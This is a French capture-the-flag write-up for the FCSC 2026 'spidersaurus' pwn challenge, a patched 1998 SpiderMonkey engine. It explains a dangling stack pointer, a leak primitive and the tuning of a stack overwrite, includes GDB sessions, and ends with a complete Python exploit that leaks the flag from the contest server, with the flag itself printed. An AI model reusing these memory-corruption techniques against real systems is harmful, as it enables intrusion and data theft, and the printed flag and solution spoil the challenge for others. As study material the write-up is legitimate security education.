Introduction
Pour ce challenge, j’ai utilisé Claude Opus 4.6 (Anthropic) comme assistant. L’occasion de faire un retour honnête sur ce que l’IA apporte (ou pas) sur un challenge de pwn bas niveau.
Sur la partie analyse des vulnérabilités, le modèle s’est montré efficace. Il a su lire le code source de SpiderMonkey, identifier le dangling pointer sur tc->topStmt, comprendre le mécanisme de récupération après erreur qui maintient le pointeur invalide, et repérer la primitive de leak ajoutée par le patch. L’analyse de la structure JSStmtInfo et de la chaîne stmt->down était correcte. Sur ce plan, c’est un vrai gain de temps : il digère du code C vieillissant sans broncher et pose les bonnes questions.
En revanche, sur la partie exploitation, c’est une autre histoire. Les chemins proposés par le modèle étaient souvent erronés. Les idées pour contrôler le champ down du nœud dangling n’étaient pas les bonnes, les offsets suggérés ne correspondaient à rien de concret, et plusieurs pistes ont mené à des impasses. Même en le guidant explicitement sur ce qu’il devait faire, en lui donnant la stratégie et les étapes, il galérait à produire quelque chose de fonctionnel. Il a fallu reprendre la main, poser des breakpoints sous GDB, et raisonner sur le layout mémoire réel pour arriver à l’exploit. L’IA n’a pas su faire ce travail de terrain.
Le constat est assez net : sur l’analyse statique et la compréhension du code, le modèle aide. Sur l’exploitation concrète, là où il faut tâtonner, observer la mémoire et ajuster au byte près, il reste à côté. C’est l’état des choses aujourd’hui. Depuis, Opus 4.7 vient de sortir, et on commence à entendre parler de Claude Mythos qui serait nettement plus clever. Rendez-vous au FCSC 2027 pour voir si ça change quelque chose sur la partie exploitation.
Présentation du challenge
Vue d’ensemble
On nous fournit un binaire spidersaurus compilé en 32-bit, accompagné de son code source et d’un patch. Il s’agit de SpiderMonkey 1.0 (le moteur JavaScript de Mozilla, daté de 1998), légèrement modifié. Le binaire lit un fichier JavaScript depuis stdin, le parse et l’exécute.
Le patch inclut aussi un fichier test.js, visiblement pensé comme PoC :
+print("_bonjour_")
+var x = �;
+for (3;2;1)
+{
+ while (0)
+ {
+ if �(0)
+ {
+ break FCSC_2026
+ }
+ }
+}
On y retrouve un byte \\xff (non-ASCII) qui provoque des erreurs de parsing, des statements imbriqués (for, while, if), et un break avec un label FCSC_2026. Ça donne déjà une bonne idée de la direction à prendre.
Côté serveur, un fichier flag.txt est lu au démarrage. Le binaire stocke son contenu dans un buffer sur la heap :
flag_txt = fopen("flag.txt", "r");
buf = malloc(1024); flag = buf + 98;
fread(flag, 26, 1, flag_txt);
Le flag se retrouve donc quelque part sur la heap, à une adresse dérivée de sbrk(0).
Environnement
Pour analyser le binaire et développer l’exploit, on a mis en place un serveur dédié accessible en SSH. Le binaire étant un ELF 32-bit, il a fallu installer les librairies i386 nécessaires ainsi que GDB.
- Serveur : Debian 13 (Trixie), kernel 6.1.0-41-amd64, architecture i386 (32-bit)
- Débogueur : GDB 16.3
- Binaire :
spidersaurus, ELF 32-bit PIE, compilé avec clang-17 et les hardening flags du patch (RELRO, stack protector, etc.)
Analyse du patch
Le patch apporte trois modifications intéressantes.
Primitive de leak dans le parser
Dans le case TOK_BREAK, la boucle de recherche de label est modifiée :
for (; ; stmt = stmt->down) {
if (!stmt) {
js_ReportCompileError(cx, ts, "label not found");
return NULL;
}
if (stmt->type == STMT_LABEL && stmt->label == label)
break;
+ if (stmt->type > STMT_WHILE_LOOP)
+ printf("invalid stmt->type %d\\n", stmt->type);
}
Ce printf affiche la valeur de stmt->type si elle dépasse 12 (STMT_WHILE_LOOP). Autrement dit, si on arrive à faire pointer stmt vers une zone mémoire qu’on contrôle, on obtient une primitive de leak de 4 bytes arbitraires.
Appel à GC() au démarrage
Le patch ajoute un appel à GC() dans le main(), juste après l’initialisation du contexte JS :
GC(cx, NULL, 0, NULL, NULL);
Cet appel a lieu avant toute exécution de script. GC() affiche sur stderr les statistiques du garbage collector, dont sbrk(0), l’adresse haute (maximale) du tas. Le shell n’étant pas en mode interactif (pas de retour immédiat sur stdout), un appel à gc() depuis le JS n’aurait pas permis de récupérer la sortie. C’est pour ça que le patch force un appel à GC() au démarrage.
Le PoC test.js
Le test.js fourni dans le patch illustre le scénario d’exploitation : des \\xff pour provoquer des erreurs de parsing, des statements imbriqués pour empiler des JSStmtInfo, et un break avec label pour déclencher la boucle de recherche vulnérable. C’est la base sur laquelle on va construire l’exploit.
En l’exécutant :
$ ./spidersaurus < test.js
before 4050, after 4041, break 56a75000
_bonjour_
invalid stmt->type 1448559639
invalid stmt->type 1453754128
js: line 2: illegal character:
var x = \\xff;
........^
js: line 7: illegal character:
if \\xff(0)
...................^
js: line 7: missing ( before condition:
if \\xff(0)
...................^
js: line 10: label not found:
break FCSC_2026
......................................^
Plusieurs choses sautent aux yeux. La ligne before ... break 56a75000 correspond au GC() au démarrage qui affiche sbrk(0). Le print() s’exécute normalement (_bonjour_). Les deux invalid stmt->type confirment que la primitive de leak fonctionne : le break parcourt la chaîne dangling et affiche les type des résidus stack. Quant aux illegal character, les \\xff provoquent bien des erreurs de parsing, mais le moteur continue grâce à la récupération après erreur.
On a donc tous les ingrédients : un leak de sbrk, un dangling pointer, et un mécanisme de récupération après erreur qui nous laisse relancer le parsing.
Vulnérabilités
Leak de la heap via gc()
La fonction gc() est disponible en JS et appelle GC() qui affiche sbrk(0) :
before 4050, after 4041, break 565ea000
Le dernier champ (break XXXXX) donne l’adresse haute (maximale) du tas. Comme le flag est stocké sur la heap, connaître sbrk(0) permet de calculer son adresse par différence.
Dangling pointer sur tc->topStmt
Structure JSStmtInfo
Chaque statement imbriqué (for, while, if, bloc {}…) empile un JSStmtInfo sur la stack en tant que variable locale de Statement(). Ces structures forment une liste chaînée via le champ down :
struct JSStmtInfo {
JSStmtType type; // +0 (4 bytes)
ptrdiff_t top; // +4
ptrdiff_t update; // +8
ptrdiff_t breaks; // +12
ptrdiff_t continues; // +16
JSAtom *label; // +20
JSStmtInfo *down; // +24 -> pointe vers le stmtInfo parent
};
tc->topStmt pointe vers le sommet de cette chaîne. Chaque JSStmtInfo fait 28 bytes.
Quand le parser traite for (3;2;1) { while (0) { if \\xff, le chemin d’appel est js_CompileTokenStream() -> Statements() -> Statement(). Le parser entre dans for, while, if successivement, et chaque Statement() empile sa propre frame sur la stack avec une stmtInfo locale :
Stack pendant le parsing :
+-------------------------------+ adresses hautes
| main() |
+-------------------------------+
| Process() |
| cg @ 0xFFFFDBFC | topStmt -> stmtInfo[for]
+-------------------------------+
| js_CompileTokenStream() |
+-------------------------------+
| Statements() |
+-------------------------------+
| Statement() [FOR] | frame A
| stmtInfo @ 0xFFFFDB2C |
| .type = STMT_FOR_LOOP |
| .down = NULL |
+-------------------------------+
| Statement() [body block {}] | frame A'
| stmtInfo @ 0xFFFFDABC |
| .type = STMT_BLOCK |
| .down = 0xFFFFDB2C | -> pointe vers stmtInfo[for]
+-------------------------------+
| Statements() |
+-------------------------------+
| Statement() [WHILE] | frame B
| stmtInfo @ 0xFFFFDA1C |
| .type = STMT_WHILE_LOOP |
| .down = 0xFFFFDABC | -> pointe vers stmtInfo[bloc]
+-------------------------------+
| Statement() [body block {}] | frame B'
| stmtInfo @ 0xFFFFD9AC |
| .type = STMT_BLOCK |
| .down = 0xFFFFDA1C | -> pointe vers stmtInfo[while]
+-------------------------------+
| Statements() |
+-------------------------------+
| Statement() [IF] | frame C
| Condition() -> scanner |
| -> \\xff = TOK_ERROR !! | erreur AVANT js_PushStatement
+-------------------------------+ <- SP
La chaîne topStmt au moment de l’erreur :
tc->topStmt = 0xFFFFD9AC (block body while)
-> down = 0xFFFFDA1C (while)
-> down = 0xFFFFDABC (block body for)
-> down = 0xFFFFDB2C (for)
-> down = NULL
Le point important ici : le if n’a pas eu le temps de faire js_PushStatement. L’erreur arrive dans Condition(), avant le push.
L’erreur \\xff provoque ensuite un return NULL en cascade à travers tous les Statement() imbriqués. Aucun chemin d’erreur ne fait js_PopStatement(). Les frames sont dépilés, mais tc->topStmt continue de pointer vers la zone stack libérée :
Stack après remontée des return NULL :
+-------------------------------+ adresses hautes
| main() |
| Process() [cg @ 0xDBFC] | tc->topStmt = 0xFFFFD9AC <- DANGLING !
| js_CompileTokenStream() |
+-------------------------------+ <-- SP
| |
| ====== ZONE LIBÉRÉE ====== |
| 0xFFFFDB2C : ex-stmtInfo[for] (résidus)
| 0xFFFFDABC : ex-stmtInfo[blk] (résidus)
| 0xFFFFDA1C : ex-stmtInfo[whi] (résidus)
| 0xFFFFD9AC : ex-stmtInfo[blk] (résidus) <- tc->topStmt pointe ICI
| |
+-------------------------------+ adresses basses
Et c’est là que ça devient intéressant : la boucle de récupération après erreur dans Process() relance js_CompileTokenStream() sans réinitialiser tc->topStmt :
do {
ok = js_CompileTokenStream(cx, obj, ts, &cg);
if (ts->flags & TSF_ERROR) {
ts->flags &= ~TSF_ERROR; // clear l'erreur
CLEAR_PUSHBACK(ts);
ok = JS_TRUE; // continue !
}
// !! cg PAS réinitialisé -> tc->topStmt TOUJOURS DANGLING !!
} while (ok && !(ts->flags & TSF_EOF) && CG_OFFSET(&cg) == 0);
Résultat : tc->topStmt est un dangling pointer vers des résidus de stack. C’est le cœur de la vulnérabilité.
Trigger du leak via break
Au prochain tour de boucle, le parser lit { break FCSC_2026 ... }. Le { crée un nouveau bloc avec js_PushStatement() :
stmtInfo.down = tc->topStmt; // = 0xFFFFD9AC (DANGLING !)
tc->topStmt = &stmtInfo; // = 0xFFFFDB1C (nouveau block)
Puis quand le parser rencontre break FCSC_2026, il parcourt la chaîne avec la boucle modifiée par le patch :
for (; ; stmt = stmt->down) {
if (!stmt) { "label not found"; return NULL; }
if (stmt->type == STMT_LABEL && stmt->label == label)
break;
if (stmt->type > STMT_WHILE_LOOP) // > 12 ?
printf("invalid stmt->type %d\\n", stmt->type); // LEAK !
}
La chaîne complète traversée :
tc->topStmt = 0xFFFFDB1C
NŒUD [0] @ 0xFFFFDB1C (bloc {} du pass 3, LÉGITIME)
+-----------------+
| type = 0 | STMT_BLOCK (<= 12 -> pas de printf)
| ... |
| down = 0xFFFFD9AC -> DANGLING !
+-----------------+
|
v
NŒUD [1] @ 0xFFFFD9AC (RÉSIDU STACK, ex-stmtInfo du block body while)
+-----------------+
| type = ??? | résidu, valeur > 12 -> PRINTF LEAK !
| ... |
| down = ??? | résidu -> contrôlable (voir plus bas)
+-----------------+
|
v
NŒUD [2] -> pointé par down du nœud [1]
Si on contrôle down -> on peut lire n'importe quelle adresse !
Exploitation
Calcul de l’adresse du flag via gc()
On dispose du binaire, donc on peut tester en local. L’idée : créer un flag.txt avec un contenu connu, lancer le binaire sous GDB, et chercher où ce contenu atterrit en mémoire.
$ echo -n "afkjnzekfjnzejkfnkz1" > flag.txt
$ gdb ./spidersaurus
On cherche les bytes du flag connu sur la heap (0x61 0x66 0x6b... = "afk...") pour repérer à quelle distance ils se trouvent de sbrk(0). On scanne une plage de 0x30000 bytes en dessous de sbrk(0), ce qui couvre largement la zone allouée par malloc et stdio :
(gdb) b GC
(gdb) r < test.js
Breakpoint 1, GC (...)
(gdb) find /b (unsigned int)sbrk(0)-0x30000, (unsigned int)sbrk(0), 0x61, 0x66, 0x6b, 0x6a, 0x6e, 0x7a
0x565c8342 <- copie 1 : buf + 98 (malloc)
0x565c86f0 <- copie 2 : buffer interne stdio (fread)
Le flag se retrouve à deux endroits sur la heap. On calcule la distance entre chaque copie et sbrk(0) :
(gdb) printf "sbrk(0) = 0x%08x\\n", (unsigned int)sbrk(0)
sbrk(0) = 0x565ea000
(gdb) x/s 0x565c8342
0x565c8342: "afkjnzekfjnzejkfnkz1\\n"
(gdb) printf "offset = 0x%x\\n", 0x565ea000 - 0x565c8342
offset = 0x21cbe
(gdb) x/s 0x565c86f0
0x565c86f0: "afkjnzekfjnzejkfnkz1\\n"
(gdb) printf "offset = 0x%x\\n", 0x565ea000 - 0x565c86f0
offset = 0x21910
L’ASLR change sbrk(0) à chaque run, mais la distance sbrk(0) - flag_addr reste fixe. Cet offset calculé en local est identique sur le serveur remote puisque le binaire et la libc sont les mêmes.
On a donc : flag_addr = sbrk(0) - 0x21910.
Contrôle de stmt->down
On a une primitive de leak : le printf affiche stmt->type (4 bytes) pour chaque nœud de la chaîne dangling. Le problème, c’est que le nœud [1] (résidu stack) pointe via son champ down vers une adresse quelconque. C’est cette adresse qui sera interprétée comme le nœud [2] et dont le type sera leaké.
Il faut donc trouver un moyen de réécraser le résidu stack à l’emplacement du champ down du nœud [1] pour y placer l’adresse du flag. Si on y parvient, la boucle break suivra down jusqu’au flag, et le printf affichera les 4 premiers bytes du flag comme stmt->type.
La question est : qu’est-ce qui écrit dans cette zone entre le moment où le dangling est créé (pass 2, erreur \\xff) et le moment où break parcourt la chaîne (pass 3) ? Réponse : le scanner, qui appelle GetChar() (jsscan.c) pour lire les lignes suivantes du fichier JS :
static int32 GetChar(JSTokenStream *ts) {
// ...
if (ts->file) {
char cbuf[JS_LINE_LIMIT]; // 256 bytes, sur la stack !
// ...
fgets(cbuf, JS_LINE_LIMIT, ts->file); // lit la ligne depuis stdin
// ...
for (i = 0; i < len; i++)
ubuf[i] = (jschar) cbuf[j]; // copie dans userbuf
}
}
cbuf est un buffer local de 256 bytes sur la stack. Il est plus grand que la zone des anciens JSStmtInfo et recouvre (overlap) leurs résidus. Le contenu de la ligne lue par fgets vient réécraser les résidus. En plaçant les bytes de l’adresse du flag au bon offset dans la ligne JS (via une string literal z="..."), on réécrase le champ down du nœud dangling avec l’adresse voulue.
Il est intéressant de noter que le patch ajoute un memset(cbuf, 0, sizeof(cbuf)) après la copie vers userbuf, censé nettoyer cbuf. En pratique, le compilateur en -O2 retire ce memset() (dead store elimination), et cbuf reste donc exploitable.
Vue d’ensemble du payload
gc() <- Exécuté normalement, affiche sbrk(0)
var x = \\xff; <- Erreur 1 : illegal character
for (3;2;1) <- Récupération après erreur -> 2ème pass
{
while (0)
{
if \\xff <- Erreur 2 : empile 4 stmtInfo, puis erreur
{ <- 3ème pass : tc->topStmt DANGLING
break FCSC_2026;z="<payload>" <- break traverse la chaîne -> LEAK
}
}
}
Contrôle via cbuf
Le nœud [1] à 0xFFFFD9AC est un résidu de stack. Son champ down (+24, soit à 0xFFFFD9C4) contient ce qui restait en mémoire après le dépilage des frames. GetChar() déclare cbuf[256] dans la même zone stack, et le contenu de la dernière ligne lue par fgets réécrase ces résidus.
Après quelques tests sous GDB, on détermine que l’offset 156 de cbuf correspond au champ down (+24) du nœud dangling. En plaçant l’adresse du flag à cet offset dans la ligne de break, on contrôle où pointe stmt->down :
break FCSC_2026;z="A<flag_addr repeated 229 bytes>"
Le A sert de padding d’alignement (1 byte) pour que l’adresse tombe exactement à l’offset 156. La ligne fait ~250 bytes pour remplir cbuf.
Pour vérifier, on remplit le payload de A (0x41) et on observe sous GDB :
=== Node 1 (dangling) avec payload = 'AAA...A' ===
stmt=0xffffd99c type=1448490007 (0x56563417) down=0x41414141
0xffffd9ac: 0x41414141 0x41414141 0x41414141
down = 0x41414141 -> le programme crashe en SIGSEGV en essayant de déréférencer cette adresse. Il suffit maintenant de remplacer les A par l’adresse du flag pour rediriger la lecture vers la heap.
Bypass du scanner avec les string literals
Il y a un obstacle : les bytes de l’adresse du flag (ex: \\xF0\\x86\\x5C\\x56) sont non-ASCII, et le scanner les rejette avec “illegal character” quand ils apparaissent dans du code JS normal. Mais en regardant le code du scanner, on remarque que dans une string literal "...", la boucle n’a aucun check de caractère illégal :
while ((c = GetChar(ts)) != qc) {
if (c == '\\n' || c == EOF) { /* error */ }
if (c == '\\\\') { /* handle escape */ }
// Pas de check "illegal character" ici !
}
En enveloppant les bytes dans z="...", le scanner les accepte sans broncher. Et fgets place bien les bytes du fichier dans cbuf, pas les valeurs décodées. C’est exactement ce qu’on veut.
Contraintes sur les bytes de l’adresse
Il reste quelques bytes problématiques, même dans une string :
0x00: coupestrlen(cbuf)donc tronque la copie versuserbuf0x0A: newline, coupe la ligne pourfgets0x22: double-quote", ferme la string
Si l’adresse calculée contient un de ces bytes (c’est le cas pour certains offsets car sbrk est aligné sur 0x1000), la solution est simple : on recommence. Le sbrk change à chaque exécution (ASLR), donc le byte problématique finit par disparaître.
Pour les offsets structurellement problématiques (offset 16 donne toujours flag_addr avec un byte 0x00), on utilise des lectures décalées : lire à offset 14 (couvre bytes 14-17) et offset 17 (couvre bytes 17-20) pour combler le trou.
Récupération du flag
Le service écoute sur un port TCP. Le principe : on se connecte, le GC() au démarrage nous donne sbrk(0), on calcule flag_addr = sbrk - 0x21910 + offset, puis on envoie le payload JS avec l’adresse encodée dans la ligne de break. Le printf nous renvoie 4 bytes du flag sous forme d’entier. On répète pour chaque offset (0, 4, 8, 12, …) jusqu’à trouver le }.
Résultat
% python3 solve_remote.py
[*] Target: challenges.fcsc.fr:2203
[*] Flag offset: 0x21910
[offset 0] sbrk=0x616ef000 flag_addr=0x616cd6f0 leaked=0x43534346 bytes=46435343 ascii="FCSC"
>>> flag so far: FCSC
[offset 4] sbrk=0x5bd2e000 flag_addr=0x5bd0c6f4 leaked=0x4664437b bytes=7b436446 ascii="{CdF"
>>> flag so far: FCSC{CdF
[offset 8] sbrk=0x58659000 flag_addr=0x586376f8 leaked=0x42367038 bytes=38703642 ascii="8p6B"
>>> flag so far: FCSC{CdF8p6B
[offset 12] sbrk=0x59f6d000 flag_addr=0x59f4b6fc leaked=0x30673659 bytes=59366730 ascii="Y6g0"
>>> flag so far: FCSC{CdF8p6BY6g0
[offset 16] sbrk=0x61335000 flag_addr=0x61313700 BAD BYTE (00373161)
-> trying shifted reads to cover bytes 16-19...
[offset 14] sbrk=0x62872000 flag_addr=0x628506fe leaked=0x54343067 bytes=67303454 ascii="g04T"
[offset 17] sbrk=0x5abf1000 flag_addr=0x5abcf701 leaked=0x34533654 bytes=54365334 ascii="T6S4"
[offset 18] sbrk=0x622e2000 flag_addr=0x622c0702 leaked=0x63345336 bytes=36533463 ascii="6S4c"
[offset 19] sbrk=0x616c1000 flag_addr=0x6169f703 leaked=0x68633453 bytes=53346368 ascii="S4ch"
>>> flag so far: FCSC{CdF8p6BY6g04T6S4ch
[offset 20] sbrk=0x60509000 flag_addr=0x604e7704 leaked=0x57686334 bytes=34636857 ascii="4chW"
>>> flag so far: FCSC{CdF8p6BY6g04T6S4chW
[offset 24] sbrk=0x63162000 flag_addr=0x63140708 leaked=0x000a7d6b bytes=6b7d0a00 ascii="k}.."
>>> flag so far: FCSC{CdF8p6BY6g04T6S4chWk}.
Flag : FCSC{CdF8p6BY6g04T6S4chWk}
Conclusion
Challenge amusant. C’était notre première participation au FCSC, et on a préféré se concentrer sur les thématiques qui nous intéressaient plutôt que de viser un classement. Du pwn sur du vieux code C, ça nous parle.
C’était aussi l’occasion de tester ce que l’IA est capable de faire sur ce type de challenge. Le bilan est mitigé mais instructif : bonne compréhension du code, analyse de vulnérabilités correcte, mais une exploitation qui reste hors de portée sans intervention humaine. À suivre pour les prochaines générations de modèles.
Merci à l’auteur du challenge, qui visiblement a un faible pour les vulnérabilités vintage et une certaine nostalgie des années 2000. SpiderMonkey 1.0, quand même. À quand un challenge sur XP SP2 ? ;)
Annexe : Script d’exploitation
import socket, struct, re, sys, time
HOST = "challenges.fcsc.fr"
PORT = 2203
OFFSET_FLAG = 0x21910
def make_payload(flag_addr):
addr = struct.pack("<I", flag_addr)
hdr = b"break FCSC_2026;z=\""
pad = b"A"
wrap_end = b"\""
content_len = 250 - len(hdr) - len(pad) - len(wrap_end)
content = (addr * 60)[:content_len]
break_line = hdr + pad + content + wrap_end
payload = b"var x = \xff;\n"
payload += b"for (3;2;1)\n"
payload += b"{\n"
payload += b"\twhile (0)\n"
payload += b"\t{\n"
payload += b"\tif \xff\n"
payload += b"\t\t{\n"
payload += break_line + b"\n"
payload += b"\t}\n"
payload += b"}\n"
return payload
def leak_once(offset):
"""Single attempt to leak 4 bytes at offset. Returns (status, sbrk, flag_addr, leaked_bytes)."""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.settimeout(10)
s.sendall(b"gc()\n")
time.sleep(0.5)
data = b""
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
if b"break " in data and b"\n" in data.split(b"break ")[-1]:
break
except:
break
m = re.search(rb"break\s+([0-9a-f]+)", data)
if not m:
s.close()
return "no_sbrk", 0, 0, None
sbrk = int(m.group(1), 16)
flag_addr = sbrk - OFFSET_FLAG + offset
addr_bytes = struct.pack("<I", flag_addr)
if b"\x00" in addr_bytes or b"\x0a" in addr_bytes or b"\x22" in addr_bytes:
s.close()
return "bad_byte", sbrk, flag_addr, None
payload = make_payload(flag_addr)
s.sendall(payload)
s.shutdown(socket.SHUT_WR)
out = b""
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
out += chunk
except:
break
s.close()
out_str = out.decode("latin-1", "ignore")
matches = re.findall(r"invalid stmt->type (\d+)", out_str)
if matches:
val = int(matches[-1])
return "ok", sbrk, flag_addr, struct.pack("<I", val & 0xFFFFFFFF)
return "no_leak", sbrk, flag_addr, None
def try_leak(offset, max_tries=15):
for attempt in range(max_tries):
status, sbrk, flag_addr, leaked = leak_once(offset)
if status == "ok":
ascii_repr = "".join(chr(b) if 0x20 <= b < 0x7f else "." for b in leaked)
print(f"sbrk=0x{sbrk:08x} flag_addr=0x{flag_addr:08x} "
f"leaked=0x{int.from_bytes(leaked, 'little'):08x} "
f"bytes={leaked.hex()} ascii=\"{ascii_repr}\"")
return leaked
if status == "bad_byte":
print(f"sbrk=0x{sbrk:08x} flag_addr=0x{flag_addr:08x} "
f"BAD BYTE ({struct.pack('<I', flag_addr).hex()})")
return None
time.sleep(0.2)
print("FAILED (no leak after retries)")
return None
def show_flag(flag_bytes):
"""Build and display the current flag state."""
max_idx = max(flag_bytes.keys()) + 1 if flag_bytes else 0
flag = ""
for i in range(max_idx):
if i in flag_bytes:
b = flag_bytes[i]
if b == 0:
break
flag += chr(b) if 0x20 <= b < 0x7f else "."
else:
flag += "?"
return flag
def main():
print(f"[*] Target: {HOST}:{PORT}")
print(f"[*] Flag offset: 0x{OFFSET_FLAG:x}")
print()
flag_bytes = {}
offset = 0
while offset < 64:
# Skip if we already know all 4 bytes
if all(o in flag_bytes for o in range(offset, offset + 4)):
offset += 4
continue
# Try the primary offset first
print(f"\n[offset {offset:2d}] ", end="", flush=True)
leaked = try_leak(offset)
if leaked is not None:
for i, b in enumerate(leaked):
flag_bytes[offset + i] = b
else:
# Bad byte - try shifted offsets to cover the gap
print(f" -> trying shifted reads to cover bytes {offset}-{offset+3}...")
for shift in [-2, 1, 2, -1, 3, -3]:
alt = offset + shift
if alt < 0:
continue
if all((alt + i) in flag_bytes for i in range(4)):
continue
print(f" [offset {alt:2d}] ", end="", flush=True)
leaked = try_leak(alt)
if leaked is not None:
for i, b in enumerate(leaked):
flag_bytes[alt + i] = b
# Show flag progress
current = show_flag(flag_bytes)
print(f" >>> flag so far: {current}")
# Stop if we found }
if ord("}") in flag_bytes.values():
break
offset += 4
# Final reconstruction
flag = ""
for i in range(64):
if i not in flag_bytes:
flag += "?"
continue
v = flag_bytes[i]
if v == 0:
break
flag += chr(v) if 0x20 <= v < 0x7f else "."
if v == ord("}"):
break
print(f"\n{'='*60}")
print(f" FLAG: {flag}")
print(f"{'='*60}")
if __name__ == "__main__":
main()